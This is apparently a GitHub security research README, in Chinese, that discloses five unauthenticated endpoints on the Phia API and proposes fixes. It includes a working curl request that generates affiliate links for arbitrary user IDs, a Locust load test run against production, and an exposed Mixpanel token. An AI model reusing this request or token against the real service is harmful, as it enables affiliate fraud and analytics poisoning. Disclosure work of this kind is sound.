shubhthorat/Phia

GitHub: shubhthorat/Phia

揭示生产环境中 5 个未认证 API 漏洞并提供修复方案的安全研究报告。

Stars: 0 | Forks: 0

# Phia API — 研究 **作者:** Shubh Thorat  ·  **日期:** 2026年4月11日  ·  **目标:** `api.phia.com` --- ## 我发现了什么 **5 个端点在生产环境中无需身份验证即可接受请求。** 最关键的一个:`CreateMerchantUrl` 会生成关联到**任意**用户账户的联盟追踪链接,且无需令牌。我传入一个伪造的 UUID,却得到了一个实时的联盟 URL: ``` curl -X POST https://api.phia.com/v2/graphql \ -H "Content-Type: application/json" \ -H "x-platform: EXTENSION" \ -d '{ "operationName": "CreateMerchantUrl", "variables": { "input": { "phiaId": "00000000-0000-0000-0000-000000000000", "url": "https://poshmark.com/listing/any-item", "platform": "EXTENSION", "searchId": "test", "productId": "ENTITY_TYPE_PRODUCT-abc123", "secondhandRetailerId": "POSHMARK" }}, "query": "mutation CreateMerchantUrl($input: CreateMerchantUrlInput!) { createMerchantUrl(input: $input) { id url } }" }' ``` **响应 — `200 OK`,未进行身份验证检查:** ``` { "data": { "createMerchantUrl": { "id": "1516e925-3864-43a1-ab2a-102a8ff0ebef", "url": "https://www.anrdoezrs.net/click-101090659-15736479?url=..." } } } ``` 任何人都可以向任意用户的账户灌入联盟点击,污染其分析数据,并无限触发对 CJ 和 Impact.com 的调用——全程无需会话。 --- ## 所有发现 | # | 端点 | 严重性 | 问题描述 | | --- | ------------------------- | -------- | ---------------------------------------------------------------------------------------------- | | 1 | `CreateMerchantUrl` | **严重** | 无身份验证,无 `phiaId` 归属检查 — 大规模的联盟欺诈 | | 2 | `CreateResaleInsightsUrl` | 高 | 无身份验证 — `link` 参数原样反射到输出 URL | | 3 | `GET /whitelist/validate` | 高 | `phiaId` 以 URL 查询参数形式暴露 — 泄露至服务器日志、浏览器历史记录、Referer 头部 | | 4 | 分析令牌 | 中 | Mixpanel 令牌硬编码在公共的 `background.js` 中 — 任何人都可注入伪造事件 | | 5 | GraphQL 自省 | 低 | `__schema` 返回 `500` 而非干净的禁用错误 | --- ## 负载测试 编写了一个 [Locust](https://locust.io) 脚本(`load_test.py`),并发地对全部 5 个未认证端点发起请求,针对生产环境。 Locust load test results | 端点 | 请求数 | 失败数 | 中位数 | p95 | p99 | 最大值 | 平均大小 | | ------------------------- | :----: | :----: | --------: | --------: | ---------: | ------------: | --------: | | `CreateMerchantUrl` | 19 | 0 | 210ms | 660ms | 660ms | 657ms | 314 B | | `CreateResaleInsightsUrl` | 25 | 0 | 44ms | 58ms | 130ms | 127ms | 361 B | | `GET /whitelist/validate` | 4 | 0 | 150ms | 180ms | 180ms | 177ms | 206 B | | `GenerateEntityId` | 7 | 0 | 44ms | 49ms | 49ms | 49ms | 69 B | | `SiteConfig` | 10 | 0 | 570ms | 1100ms | 1100ms | 1148ms | 63 B | | **总计** | **65** | **0** | **130ms** | **590ms** | **1100ms** | **1148ms** | **260 B** | **65 次请求,0 次失败。每次调用都返回了真实数据,无需身份验证。** 平均大小一栏证实了这些并非空错误。`CreateMerchantUrl` 每次调用返回 **314 字节的实时联盟数据**。`SiteConfig` 在少量流量下达到 **1148ms 最大值**——每次调用都会链式调用两个 gRPC 向下游。在真实负载下,这将是第一个瓶颈。 完整报告: [`Report/Locust.html`](Report/Locust.html) --- ## 如何修复 **1. 在 `CreateMerchantUrl` 上要求身份验证并检查归属** ``` @Authorized() async createMerchantUrl(input, context) { if (input.phiaId !== context.user.phiaId) throw new ForbiddenError('phiaId mismatch'); } ``` **2. 将 `phiaId` 移出 URL 参数** — 使用 GraphQL 请求中已存在的 `x-phia-id` 头部。永远不要将永久用户标识符放在查询字符串中。 **3. 轮换并代理分析令牌** — `0707dbc4f9ae6bc96db7b740d1c4911a` 存在于公共扩展包中。轮换它,并在服务器端代理事件,使令牌永不触达客户端。 **4. 禁用生产环境中的自省** ``` new ApolloServer({ introspection: process.env.NODE_ENV !== "production" }); ``` **5. 对未认证端点实施速率限制** — 每 IP 至少 30 请求/分钟。 --- ## 方法论 未使用专有工具 — 仅依靠 DevTools、Python、curl 和 Locust。 ``` Chrome DevTools → HAR export (597 entries captured) Python → parsed every request, isolated unauthenticated endpoints curl → manually confirmed each finding against production Locust → load_test.py — concurrent load across all 5 endpoints ``` --- 如需逐步讲解或对预发布环境进行更深入测试,我很乐意协助。
标签:API安全, ATT&CK T1190, CISA项目, CreateMerchantUrl, curl, GraphQL, HAR分析, JSONLines, JSON输出, Locust压力测试, 修复建议, 后端开发, 接口测试, 未认证访问, 漏洞披露, 生产环境, 负载测试, 逆向工具, 附属营销欺诈, 零信任